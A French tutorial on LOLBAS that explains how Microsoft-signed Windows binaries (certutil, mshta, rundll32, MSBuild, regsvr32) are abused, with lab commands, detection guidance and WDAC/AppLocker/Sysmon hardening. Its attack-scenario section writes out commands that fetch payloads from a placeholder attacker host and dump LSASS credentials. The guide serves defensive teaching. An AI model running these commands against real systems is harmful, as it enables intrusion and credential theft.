LOLBAS : détecter et bloquer les binaires Windows exploitables

Un poste Windows standard contient des centaines de binaires signés Microsoft capables de télécharger des fichiers, exécuter du code arbitraire ou contourner les protections applicatives : certutil.exe, mshta.exe, rundll32.exe, msbuild.exe… Tous installés par défaut, tous légitime aux yeux de l’antivirus. LOLBAS (Living Off The Land Binaries And Scripts) est la base de données de référence qui catalogue ces binaires, bibliothèques et scripts détournables — et les techniques de détection associées.

Ce guide vous apprend à comprendre les catégories LOLBAS, tester les techniques d’exploitation les plus courantes et durcir vos postes Windows avec WDAC et AppLocker. Il s’adresse aux administrateurs système et aux débutants en sécurité offensive.

Ce que vous allez apprendre

• Ce qu’est LOLBAS et comment l’utiliser
• Les 3 catégories de binaires exploitables (LOLBins, LOLLibs, LOLScripts)
• Les fonctions détournables (exécution, téléchargement, bypass AWL, credentials…)
• 5 techniques testées pas à pas sur un poste Windows
• Un plan de durcissement concret avec WDAC, AppLocker et Sysmon

Qu’est-ce que LOLBAS ?

LOLBAS (Living Off The Land Binaries And Scripts) est un catalogue collaboratif de binaires, bibliothèques et scripts signés Microsoft dont les fonctionnalités légitimes peuvent être détournées pour contourner les protections de sécurité.

L’analogie est identique à celle de GTFObins pour Linux : chaque outil système a un usage prévu, mais entre de mauvaises mains, ces fonctionnalités deviennent des vecteurs d’attaque. La différence fondamentale est que les LOLBins sont signés par Microsoft, ce qui signifie que les antivirus et les solutions de whitelisting comme AppLocker les autorisent par défaut.

Le terme « Living off the Land » a été inventé en 2013 par Christopher Campbell et Matt Graeber lors de DerbyCon 3. Le nom « LOLBins » vient d’un sondage Twitter de Philip Goh en 2018 (69 % des votants ont choisi ce nom). Le projet LOLBAS est maintenu par Oddvar Moe, Jimmy Bayne et la communauté, avec plus de 8 300 étoiles sur GitHub.

Aspect	Détail
Objectif	Cataloguer les usages détournés des binaires Windows signés Microsoft
Catégories	LOLBins (binaires), LOLLibs (DLL), LOLScripts (scripts)
Critère d’inclusion	Doit être signé Microsoft + avoir une fonctionnalité inattendue utile aux attaquants
Équivalent Linux	GTFObins
Équivalent CI/CD	LOTP
Licence	GPL-3.0 (GitHub)
Mapping	MITRE ATT&CK natif pour chaque technique

Glissez pour voir

LOLBAS n'est pas une liste de vulnérabilités

Les binaires listés ne sont pas vulnérables en eux-mêmes. LOLBAS documente des fonctionnalités légitimes qui deviennent dangereuses parce que les outils sont signés Microsoft et donc autorisés par défaut par les protections applicatives (antivirus, AppLocker, WDAC à configuration faible).

Voir aussi : GTFObins — l'équivalent pour Linux

LOLBAS recense les binaires détournables sur Windows. Son équivalent pour Linux/Unix s’appelle GTFObins : plus de 400 binaires Unix dont les fonctions légitimes (shell, lecture de fichiers, reverse shell…) permettent d’escalader les privilèges ou contourner les restrictions.

Prérequis

• Un système Windows 10/11 ou Windows Server 2019+
• Accès à un terminal PowerShell ou cmd en tant qu’utilisateur standard
• Connaissances de base en ligne de commande Windows (cd, dir, type)
• Idéalement : une machine virtuelle Windows pour les tests

Environnement de test uniquement

Ne testez jamais ces techniques sur un poste de production ou une machine qui ne vous appartient pas. Utilisez toujours une VM dédiée. Certaines techniques peuvent déclencher des alertes EDR/antivirus.

Les 3 catégories LOLBAS

Contrairement à GTFObins qui se concentre sur les binaires, LOLBAS couvre trois types de composants Windows.

LOLBins — Binaires exécutables

Les LOLBins sont des fichiers .exe présents dans le répertoire système Windows (C:\Windows\System32\ ou C:\Windows\SysWOW64\). Signés Microsoft, ils passent les contrôles de signature et d’intégrité sans déclencher d’alerte.

Exemples courants : certutil.exe, mshta.exe, rundll32.exe, msbuild.exe, regsvr32.exe, bitsadmin.exe, cmstp.exe, cscript.exe.

LOLLibs — Bibliothèques DLL

Les LOLLibs sont des fichiers .dll qui peuvent être chargés par des processus légitimes pour exécuter du code malveillant. Un attaquant les invoque via rundll32.exe ou d’autres binaires capables de charger des DLL.

Exemples courants : comsvcs.dll (dump mémoire LSASS), shell32.dll, zipfldr.dll, ieframe.dll.

LOLScripts — Scripts système

Les LOLScripts sont des fichiers .vbs, .ps1 ou .bat présents par défaut dans Windows et signés Microsoft. Ils peuvent être détournés pour exécuter du code, télécharger des fichiers ou contourner des restrictions.

Exemples courants : pubprn.vbs, winrm.vbs, SyncAppvPublishingServer.exe (qui accepte des arguments PowerShell).

Les fonctions exploitables

Chaque entrée LOLBAS est classée selon les fonctions qu’elle peut détourner. Le site LOLBAS associe chaque technique à un identifiant MITRE ATT&CK.

Fonction	Description	Technique MITRE	Exemple
Execute	Exécuter du code arbitraire	T1059, T1218	mshta vbscript:Execute("...")
Download	Télécharger un fichier depuis Internet	T1105	certutil -urlcache -f http://...
AWL bypass	Contourner AppLocker/WDAC	T1218	regsvr32 /s /n /u /i:http://... scrobj.dll
Compile	Compiler et exécuter du code à la volée	T1127	msbuild.exe payload.xml
ADS	Écrire dans un Alternate Data Stream	T1564.004	certutil -urlcache -f http://... file:ads
Credentials	Voler ou manipuler des credentials	T1003, T1555	cmdkey /list
Dump	Dumper la mémoire d’un processus	T1003.001	rundll32 comsvcs.dll MiniDump
UAC bypass	Contourner le User Account Control	T1548.002	fodhelper.exe avec registre modifié
Encode/Decode	Encoder ou décoder des données	T1027, T1140	certutil -encode file.exe file.b64
Reconnaissance	Collecter des informations système	T1082	systeminfo, whoami /all

Glissez pour voir

Vue d’ensemble : du repérage au durcissement

Ce diagramme synthétise le cycle complet d’exploitation LOLBAS — de la reconnaissance des binaires disponibles aux mécanismes de défense.

Lab : tester 5 techniques LOLBAS

Passons à la pratique. Ces 5 techniques sont testables sur n’importe quel poste Windows 10/11 sans droits administrateur (sauf mention contraire). Chaque technique illustre un type d’exploitation différent.

Technique 1 : télécharger un fichier avec certutil

Pourquoi c’est possible : certutil.exe est l’outil de gestion des certificats Windows. Sa fonction -urlcache permet de télécharger n’importe quel fichier depuis Internet, pas uniquement des certificats. Comme il est signé Microsoft, les antivirus ne le bloquent pas par défaut.

MITRE ATT&CK : T1105 (Ingress Tool Transfer)

1. Télécharger un fichier de test :

   certutil.exe -urlcache -split -f "https://raw.githubusercontent.com/projectdiscovery/nuclei/refs/heads/main/README.md" C:\Temp\test-download.txt

   Résultat attendu : le fichier est téléchargé dans C:\Temp\. La sortie affiche CertUtil: -URLCache command completed successfully.

2. Vérifier le téléchargement :

   type C:\Temp\test-download.txt | Select-Object -First 5

   Résultat attendu : les 5 premières lignes du fichier README s’affichent.

3. Nettoyage :

   Remove-Item C:\Temp\test-download.txt -Force
   certutil.exe -urlcache * delete

   La deuxième commande purge le cache URL de certutil pour effacer les traces.

Détection : surveiller les appels à certutil.exe avec les arguments -urlcache, -split ou -f dans les journaux d’événements Windows (Event ID 1 de Sysmon). Sigma rule : proc_creation_win_certutil_download.yml.

Technique 2 : exécuter du code via mshta

Pourquoi c’est possible : mshta.exe est le moteur d’exécution des HTA (HTML Applications). Il peut exécuter du VBScript ou du JScript embarqué sans restrictions — et même charger du code distant via une URL.

MITRE ATT&CK : T1218.005 (System Binary Proxy Execution: Mshta)

1. Exécuter du VBScript inline :

   mshta.exe vbscript:Execute("msgbox ""LOLBAS test"":close")

   Résultat attendu : une boîte de dialogue Windows s’affiche avec le titre « LOLBAS test ». Cliquer OK pour fermer.

2. Exécuter du JScript inline :

   mshta.exe javascript:a=new%20ActiveXObject("WScript.Shell");a.Run("calc.exe");close();

   Résultat attendu : la calculatrice Windows s’ouvre, prouvant que mshta peut lancer n’importe quel processus.

3. Nettoyage — fermer la calculatrice :

   Stop-Process -Name "CalculatorApp" -Force -ErrorAction SilentlyContinue

Détection : surveiller les exécutions de mshta.exe avec des arguments vbscript:, javascript: ou des URLs distantes. Microsoft fournit des règles de blocage recommandées (Block Rules) pour mshta.exe. Sigma rule : proc_creation_win_mshta_execution.yml.

mshta est un vecteur d'attaque majeur

mshta.exe est l’un des binaires les plus dangereux de l’écosystème Windows. Microsoft recommande de le bloquer via WDAC si votre organisation n’utilise pas d’applications HTA. De nombreuses familles de malware (Emotet, Qakbot, Cobalt Strike) l’utilisent comme vecteur d’exécution initiale.

Technique 3 : exécuter du code via rundll32

Pourquoi c’est possible : rundll32.exe est le chargeur de DLL Windows. Il peut exécuter n’importe quelle fonction exportée d’une DLL — y compris du JScript embarqué via des COM objects, ou charger une DLL distante.

MITRE ATT&CK : T1218.011 (System Binary Proxy Execution: Rundll32)

1. Exécuter une DLL système légitime :

   rundll32.exe shell32.dll,Control_RunDLL

   Résultat attendu : le panneau de configuration Windows s’ouvre.

2. Exécuter du JScript via COM :

   rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";alert('LOLBAS')

   Résultat attendu : une boîte de dialogue JavaScript s’affiche (selon la version de Windows et les protections EDR en place).

3. Dump mémoire avec comsvcs.dll (nécessite des droits admin) :

   # Trouver le PID de notepad (ouvrir notepad d'abord)
   $pid = (Get-Process notepad).Id
   # Créer un mini-dump (ADMIN requis)
   rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $pid C:\Temp\dump.bin full

   Résultat attendu : un fichier dump.bin contenant la mémoire du processus est créé. C’est exactement la technique utilisée pour dumper LSASS et extraire des mots de passe.

4. Nettoyage :

   Remove-Item C:\Temp\dump.bin -Force -ErrorAction SilentlyContinue
   Stop-Process -Name "notepad" -Force -ErrorAction SilentlyContinue

Détection : surveiller rundll32.exe avec des arguments inhabituels : javascript:, comsvcs.dll, DLL dans des répertoires temporaires, ou des chemins réseau (UNC paths). Sigma rule : proc_creation_win_rundll32_susp_activity.yml.

Technique 4 : compiler et exécuter du code via msbuild

Pourquoi c’est possible : msbuild.exe (Microsoft Build Engine) est l’outil de compilation .NET. Il peut compiler et exécuter du C# embarqué dans un fichier XML — sans générer de fichier .exe sur disque (fileless). Comme il est signé Microsoft, il contourne AppLocker par défaut.

MITRE ATT&CK : T1127.001 (Trusted Developer Utilities Proxy Execution: MSBuild)

1. Créer le fichier de projet malveillant :

   @"
   <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
     <Target Name="LOLBASTest">
       <LOLBASTask />
     </Target>
     <UsingTask
       TaskName="LOLBASTask"
       TaskFactory="CodeTaskFactory"
       AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
       <Task>
         <Code Type="Fragment" Language="cs">
           <![CDATA[
             System.Console.WriteLine("LOLBAS MSBuild test - code C# execute sans .exe");
             System.Console.WriteLine("Hostname: " + System.Environment.MachineName);
             System.Console.WriteLine("User: " + System.Environment.UserName);
           ]]>
         </Code>
       </Task>
     </UsingTask>
   </Project>
   "@ | Out-File -FilePath C:\Temp\test-build.csproj -Encoding UTF8

2. Exécuter le fichier via MSBuild :

   C:\Windows\Microsoft.Net\Framework\v4.0.30319\MSBuild.exe C:\Temp\test-build.csproj

   Résultat attendu : le code C# s’exécute directement et affiche le hostname et l’utilisateur courant. Aucun fichier .exe n’est créé — tout se passe en mémoire.

3. Nettoyage :

   Remove-Item C:\Temp\test-build.csproj -Force

Détection : surveiller les exécutions de MSBuild.exe en dehors de Visual Studio ou d’un pipeline CI/CD. Sigma rule : proc_creation_win_msbuild_susp_execution.yml.

Exécution fileless

La technique MSBuild est particulièrement dangereuse car le code malveillant n’est jamais écrit sur disque sous forme exécutable. Il est compilé en mémoire par le framework .NET. Les antivirus traditionnels basés sur l’analyse de fichiers sont inefficaces contre cette technique.

Technique 5 : contourner AppLocker via regsvr32

Pourquoi c’est possible : regsvr32.exe est l’outil d’enregistrement de COM objects. Via l’option /i, il peut charger un scriptlet (.sct) — un fichier XML contenant du JScript ou du VBScript — depuis un serveur distant. Cette technique, connue sous le nom de Squiblydoo, contourne AppLocker car regsvr32.exe est un binaire signé et de confiance.

MITRE ATT&CK : T1218.010 (System Binary Proxy Execution: Regsvr32)

1. Créer un scriptlet local de test :

   @"
   <?XML version="1.0"?>
   <scriptlet>
     <registration
       progid="LOLBASTest"
       classid="{00000000-0000-0000-0000-000000000001}">
       <script language="JScript">
         <![CDATA[
           var shell = new ActiveXObject("WScript.Shell");
           shell.Popup("LOLBAS Squiblydoo test", 3, "regsvr32", 64);
         ]]>
       </script>
     </registration>
   </scriptlet>
   "@ | Out-File -FilePath C:\Temp\test.sct -Encoding UTF8

2. Exécuter le scriptlet via regsvr32 :

   regsvr32.exe /s /n /u /i:C:\Temp\test.sct scrobj.dll

   Résultat attendu : une boîte de dialogue s’affiche pendant 3 secondes avec le message « LOLBAS Squiblydoo test ». L’option /s supprime les messages étendus, /n évite l’enregistrement DLL, /u force le désenregistrement (qui déclenche l’exécution du scriptlet).

3. Nettoyage :

   Remove-Item C:\Temp\test.sct -Force

Détection : surveiller regsvr32.exe avec les arguments /i:http://, /i:C:\Users\, ou chargement de scrobj.dll. Sigma rule : proc_creation_win_regsvr32_squiblydoo.yml.

Autres binaires à surveiller

Ces 5 exemples ne sont qu’un échantillon. D’autres LOLBins très courants sont exploitables : bitsadmin.exe (téléchargement en arrière-plan), cmstp.exe (bypass UAC et AppLocker), wmic.exe (exécution de code via XSL), cscript.exe / wscript.exe (exécution de scripts VBS/JS), forfiles.exe (exécution de commandes), pcalua.exe (proxy d’exécution), et explorer.exe (chargement de DLL).

Scénario d’attaque complet

Pour comprendre comment un attaquant combine ces techniques, voici un scénario réaliste. Il illustre la méthodologie classique d’un APT utilisant exclusivement des LOLBins pour éviter la détection.

1. Accès initial — phishing avec mshta :

   L’attaquant envoie un email avec un lien HTA. La victime clique et mshta.exe exécute le code :

   # L'attaquant héberge un fichier HTA sur son serveur
   # La victime clique sur le lien, mshta s'exécute automatiquement
   mshta.exe http://attacker.example.com/payload.hta

   Résultat : un dropper PowerShell s’exécute dans le contexte de l’utilisateur.

2. Téléchargement de l’outillage — certutil :

   Le code télécharge les outils de l’attaquant en utilisant un binaire légitime :

   certutil.exe -urlcache -split -f "http://attacker.example.com/tool.exe" C:\Users\Public\svchost.exe

   Le fichier malveillant est renommé svchost.exe pour se fondre dans les processus légitimes.

3. Bypass AppLocker — msbuild :

   Si AppLocker bloque les exécutables non signés, l’attaquant compile et exécute en mémoire :

   C:\Windows\Microsoft.Net\Framework\v4.0.30319\MSBuild.exe C:\Users\Public\build.csproj

   Le code C# malveillant est compilé en mémoire par le framework .NET — aucun .exe n’est créé sur disque.

4. Vol de credentials — comsvcs.dll :

   L’attaquant dumpe la mémoire du processus LSASS pour extraire les mots de passe :

   # Nécessite des droits administrateur
   rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Temp\dump.bin full

   Le fichier dump.bin contient les hashes NTLM et potentiellement des mots de passe en clair.

5. Exfiltration — certutil encode :

   L’attaquant encode les données volées en base64 pour contourner les inspections réseau :

   certutil.exe -encode C:\Temp\dump.bin C:\Temp\dump.b64
   # Puis exfiltration via DNS, HTTP POST, ou autre canal

   Toute la chaîne d’attaque n’a utilisé que des binaires signés Microsoft — aucun outil tiers détectable par un antivirus basé sur les signatures.

Ce scénario est pédagogique

Ce scénario illustre ce qu’un attaquant pourrait faire. Ne reproduisez ces actions que sur des machines de test qui vous appartiennent. Le dump de LSASS et l’exfiltration de données sont des actes illégaux sur des systèmes sans autorisation.

Durcissement : 7 actions concrètes

Maintenant que vous comprenez les techniques, voici comment verrouiller vos postes Windows contre ces exploits.

1. Activer WDAC (Windows Defender Application Control) — c’est la protection la plus efficace contre les LOLBins. WDAC permet de contrôler quels binaires ont le droit de s’exécuter, même s’ils sont signés Microsoft :

   # Créer une politique WDAC de base (mode audit d'abord)
   New-CIPolicy -Level Publisher -FilePath C:\Policies\BasePolicy.xml -UserPEs -Audit
   # Convertir en binaire et déployer
   ConvertFrom-CIPolicy C:\Policies\BasePolicy.xml C:\Policies\BasePolicy.bin

   Le mode audit permet de tester la politique sans bloquer — consultez les journaux CodeIntegrity pour identifier les faux positifs avant de passer en mode enforcement.

2. Configurer AppLocker — si WDAC n’est pas disponible (éditions Windows non-Enterprise), AppLocker offre un premier niveau de protection :

   # Via GPO : Computer Configuration > Policies > Windows Settings
   # > Security Settings > Application Control Policies > AppLocker
   # Bloquer les exécutables depuis les répertoires utilisateur :
   # - C:\Users\*\AppData\*
   # - C:\Users\*\Downloads\*
   # - C:\Temp\*

   AppLocker ne bloque pas les LOLBins signés Microsoft par défaut. Il faut créer des règles de refus explicites pour mshta.exe, cmstp.exe, wscript.exe, etc.

3. Déployer Sysmon — Microsoft Sysinternals Sysmon fournit une journalisation avancée indispensable pour détecter les LOLBins :

   # Télécharger et installer Sysmon avec la config SwiftOnSecurity
   sysmon.exe -accepteula -i sysmonconfig-export.xml

   Événements clés à surveiller :

   • Event ID 1 : création de processus (arguments en ligne de commande)
   • Event ID 3 : connexion réseau (téléchargements certutil)
   • Event ID 7 : chargement de DLL (comsvcs.dll, scrobj.dll)
   • Event ID 11 : création de fichier (fichiers dans C:\Temp\)

4. Appliquer les Microsoft Block Rules — Microsoft publie une liste officielle de binaires à bloquer via WDAC. mshta.exe, cmstp.exe, wscript.exe et d’autres y figurent :

   <!-- Extrait des Microsoft Recommended Block Rules -->
   <!-- Bloquer mshta.exe -->
   <Deny ID="ID_DENY_MSHTA" FriendlyName="mshta.exe"
         FileName="mshta.exe" MinimumFileVersion="65535.65535.65535.65535" />

   Intégrez ces règles dans votre politique WDAC ou AppLocker pour bloquer les LOLBins les plus dangereux.

5. Désactiver les protocoles hérités — les HTA, les scripts VBS et le moteur JScript sont rarement nécessaires dans un environnement moderne :

   # Désactiver l'association de fichiers HTA
   ftype htafile=
   # Désactiver Windows Script Host
   reg add "HKCU\Software\Microsoft\Windows Script Host\Settings" /v Enabled /t REG_DWORD /d 0 /f

   Si votre organisation n’utilise pas de fichiers .hta, .vbs ou .js, désactivez ces moteurs d’exécution pour supprimer les vecteurs d’attaque.

6. Centraliser les journaux — envoyez les événements Sysmon et Security vers un SIEM (Splunk, Elasticsearch, Wazuh) pour corréler les alertes :

   # Vérifier que les journaux Sysmon sont actifs
   Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 5

   Configurez des règles Sigma pour détecter automatiquement les patterns suspects : certutil -urlcache, mshta vbscript:, rundll32 comsvcs.dll, MSBuild.exe hors Visual Studio.

7. Automatiser les audits — utilisez le projet LOLBAS pour identifier les binaires présents sur vos postes et vérifier lesquels sont bloqués par vos politiques :

   # Vérifier si les LOLBins courants sont accessibles
   $lolbins = @("mshta.exe", "certutil.exe", "regsvr32.exe",
                 "msbuild.exe", "cmstp.exe", "wscript.exe", "cscript.exe")
   foreach ($bin in $lolbins) {
       $path = Get-Command $bin -ErrorAction SilentlyContinue
       if ($path) {
           Write-Host "[!] $bin accessible : $($path.Source)" -ForegroundColor Yellow
       } else {
           Write-Host "[OK] $bin bloqué" -ForegroundColor Green
       }
   }

Dépannage

Symptôme	Cause probable	Solution
certutil -urlcache bloqué	Politique WDAC ou AppLocker active	Vérifier les journaux CodeIntegrity et ajuster la politique si légitime
mshta.exe ne s’exécute pas	Microsoft Block Rules appliquées	Comportement attendu — la protection fonctionne
MSBuild non trouvé	.NET Framework 4.x non installé	Vérifier : dir C:\Windows\Microsoft.Net\Framework\v4.*
Sysmon ne journalise pas	Service Sysmon arrêté ou config manquante	Relancer : sysmon.exe -c sysmonconfig.xml
AppLocker ne bloque rien	Le service AppIDSvc n’est pas démarré	Démarrer : sc start AppIDSvc et vérifier le type de démarrage
Faux positifs WDAC en production	Politique trop restrictive	Repasser en mode audit, identifier les binaires légitimes, les ajouter en exception
regsvr32 /i: n’exécute pas le scriptlet	Windows Defender SmartScreen bloque	Désactiver SmartScreen en VM de test uniquement

Glissez pour voir

À retenir

• LOLBAS catalogue des centaines de binaires, DLL et scripts signés Microsoft dont les fonctions légitimes permettent de télécharger, exécuter, compiler et exfiltrer sans déclencher les antivirus traditionnels.

• 3 catégories couvrent l’écosystème Windows : les LOLBins (exécutables), les LOLLibs (DLL) et les LOLScripts (scripts système).

• Les LOLBins les plus dangereux sont certutil.exe (téléchargement et encodage), mshta.exe (exécution de code via HTA/VBScript), rundll32.exe (chargement de DLL et dump mémoire), msbuild.exe (compilation fileless) et regsvr32.exe (bypass AppLocker).

• La remédiation passe par 3 axes : WDAC/AppLocker pour bloquer les binaires dangereux, Sysmon pour la journalisation avancée, et les règles Sigma pour la détection automatisée dans un SIEM.

• Chaque technique LOLBAS est mappée sur MITRE ATT&CK, ce qui permet de l’intégrer directement dans vos matrices de risques et vos playbooks de réponse à incident.

• LOLBAS a des équivalents pour d’autres environnements : GTFObins pour Linux et LOTP pour les pipelines CI/CD.

Prochaines étapes

GTFObins — binaires Linux exploitables L'équivalent de LOLBAS pour Linux : 400+ binaires Unix dont les fonctions légitimes sont détournables.

Living Off The Pipeline (LOTP) Les 59 outils CI/CD exploitables — l'équivalent de LOLBAS pour les pipelines.

Attaques via les gestionnaires de paquets npm, pip, cargo, yarn, bundler : 5 techniques d'exécution de code via les fichiers de config.

Comprendre les menaces DevSecOps Vue d'ensemble des vecteurs d'attaque ciblant les environnements de développement et de production.

×

📖 Voir la documentation →